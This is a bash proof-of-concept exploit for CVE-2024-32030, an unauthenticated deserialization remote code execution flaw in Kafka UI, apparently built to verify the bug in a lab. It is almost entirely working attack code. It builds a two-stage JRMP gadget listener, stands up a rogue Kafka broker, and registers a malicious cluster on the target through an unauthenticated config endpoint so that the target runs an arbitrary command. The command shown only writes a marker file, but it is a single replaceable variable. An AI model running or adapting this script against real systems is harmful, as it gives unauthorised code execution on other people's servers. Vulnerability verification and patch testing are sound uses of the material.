#!/usr/bin/env bash
# CVE-2024-32030 — Kafka UI unauthenticated JMX/JRMP deserialization RCE PoC.
#
# Builds a self-contained two-stage JRMP listener (Java 17, in a Docker
# container so no host JDK is needed), stands up an attacker Kafka broker so the
# target can discover a broker node, starts the listener on the host, registers
# a malicious cluster on the target Kafka UI whose JMX metrics endpoint points
# at the listener via host.docker.internal, then lets the target's scheduled
# JMX metrics collector connect: connection #1 delivers Stage 1 (set the CC
# unsafe-serialization property), connection #2+ deliver Stage 2 (Runtime.exec
# of the marker command).
#
# Usage: run.sh <target_url> <jrmp_port> <marker_path> <nonce>
set -euo pipefail

TARGET_URL="${1:?target url e.g. http://127.0.0.1:8080}"
JRMP_PORT="${2:?jrmp listener port e.g. 1718}"
MARKER_PATH="${3:?marker path e.g. /tmp/pwned}"
NONCE="${4:?fresh per-run nonce}"

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
BUILD_DIR="$SCRIPT_DIR/build"
JMX_HOST="host.docker.internal"

# Command the gadget runs INSIDE the kafka-ui JVM. Writes the nonce into the
# marker file so its presence + content prove this run's execution.
EXEC_CMD="touch ${MARKER_PATH}.${NONCE}"

IMG="eclipse-temurin:17-jdk"

# Classpath as seen INSIDE the build/run container (SCRIPT_DIR is mounted at /work).
CP="libs/scala-library-2.13.9.jar:libs/commons-collections-3.2.2.jar"

echo "[*] Compiling JRMP exploit listener (Docker $IMG)..."
mkdir -p "$BUILD_DIR"
docker run --rm \
  -v "$SCRIPT_DIR":/work -w /work "$IMG" \
  javac -cp "$CP" -d build JrmpExploit.java

# --- Attacker-controlled Kafka broker -------------------------------------
# Kafka UI only opens the JMX/JRMP connection after it successfully describes
# the cluster and discovers a broker node. The attacker therefore stands up a
# broker that advertises itself as host.docker.internal:9092 (reachable from
# the kafka-ui container via the host-gateway alias). node.host() then resolves
# to host.docker.internal and JMX connects to host.docker.internal:<JRMP_PORT>.
BROKER_NAME="cve-2024-32030-poc-broker"
BROKER_IMG="apache/kafka:3.7.0"
echo "[*] Starting attacker Kafka broker ($BROKER_NAME) advertising ${JMX_HOST}:9092 ..."
docker rm -f "$BROKER_NAME" >/dev/null 2>&1 || true
docker run -d --name "$BROKER_NAME" -p 9092:9092 \
  -e KAFKA_NODE_ID=1 \
  -e KAFKA_PROCESS_ROLES=broker,controller \
  -e KAFKA_LISTENERS=PLAINTEXT://0.0.0.0:9092,CONTROLLER://0.0.0.0:9093 \
  -e KAFKA_ADVERTISED_LISTENERS=PLAINTEXT://${JMX_HOST}:9092 \
  -e KAFKA_CONTROLLER_LISTENER_NAMES=CONTROLLER \
  -e KAFKA_CONTROLLER_QUORUM_VOTERS=1@localhost:9093 \
  -e KAFKA_LISTENER_SECURITY_PROTOCOL_MAP=CONTROLLER:PLAINTEXT,PLAINTEXT:PLAINTEXT \
  -e KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR=1 \
  -e KAFKA_GROUP_INITIAL_REBALANCE_DELAY_MS=0 \
  -e CLUSTER_ID=4L6g3nShT-eMCtK--X86sw \
  "$BROKER_IMG" >/dev/null
echo "[*] Waiting for broker to become ready ..."
for i in $(seq 1 30); do
  if docker logs "$BROKER_NAME" 2>&1 | grep -q "Kafka Server started"; then
    echo "    broker ready"; break
  fi
  sleep 1
done

echo "[*] Starting JRMP listener on host port $JRMP_PORT ..."
# Run the listener in the SAME network namespace pattern: bind on host so the
# kafka-ui container reaches it via host.docker.internal:<port>.
CID=$(docker run -d --rm \
  -p "${JRMP_PORT}:${JRMP_PORT}" \
  -v "$SCRIPT_DIR":/work -w /work "$IMG" \
  java \
    -Dorg.apache.commons.collections.enableUnsafeSerialization=true \
    --add-opens java.base/java.lang=ALL-UNNAMED \
    --add-opens java.base/java.util.concurrent=ALL-UNNAMED \
    -cp "build:$CP" JrmpExploit "$JRMP_PORT" "$EXEC_CMD")
echo "[*] listener container: $CID"

cleanup() {
  echo "[*] stopping listener + broker containers"
  docker stop "$CID" >/dev/null 2>&1 || true
  docker rm -f "$BROKER_NAME" >/dev/null 2>&1 || true
}
trap cleanup EXIT

# Give the listener a moment to bind.
for i in $(seq 1 20); do
  if docker logs "$CID" 2>&1 | grep -q "JRMP listener up"; then break; fi
  sleep 0.5
done
docker logs "$CID" 2>&1 | sed 's/^/    [listener] /' || true

# Build the malicious cluster config. The metrics block (JMX) points the
# kafka-ui JVM at our listener via host.docker.internal:<port>.
read -r -d '' BODY <<JSON || true
{
  "config": {
    "properties": {
      "auth": {"type": "DISABLED"},
      "kafka": {
        "clusters": [
          {
            "name": "pwn-${NONCE}",
            "bootstrapServers": "${JMX_HOST}:9092",
            "metrics": {"type": "JMX", "host": "${JMX_HOST}", "port": ${JRMP_PORT}}
          }
        ]
      }
    }
  }
}
JSON

echo "[*] Registering malicious cluster (PUT /api/config) ..."
curl -s -o /dev/null -w "    register HTTP %{http_code}\n" \
  -X PUT "$TARGET_URL/api/config" \
  -H 'Content-Type: application/json' --data "$BODY"

# Kafka UI's ClustersStatisticsScheduler fires every 30s: it describes the
# cluster (discovering the broker node advertised by our broker as
# host.docker.internal), then opens a JMX/JRMP connection to
# node.host():<JRMP_PORT> -> our listener. Connection #1 delivers Stage 1
# (sets the CC unsafe-serialization property); connection #2 delivers Stage 2
# (CC7 Runtime.exec). We wait through enough scheduler cycles for both.
echo "[*] Waiting for scheduled JMX collection cycles (Stage 1 then Stage 2)..."
for i in $(seq 1 6); do
  sleep 15
  echo "    --- t=$((i*15))s listener log ---"
  docker logs "$CID" 2>&1 | grep -E "delivering|Connection from|payload sent" | tail -4 | sed 's/^/    [listener] /' || true
done

echo "[*] Final listener log:"
docker logs "$CID" 2>&1 | sed 's/^/    [listener] /' || true

echo "[*] Done. Marker should be at ${MARKER_PATH}.${NONCE} inside the kafka-ui container."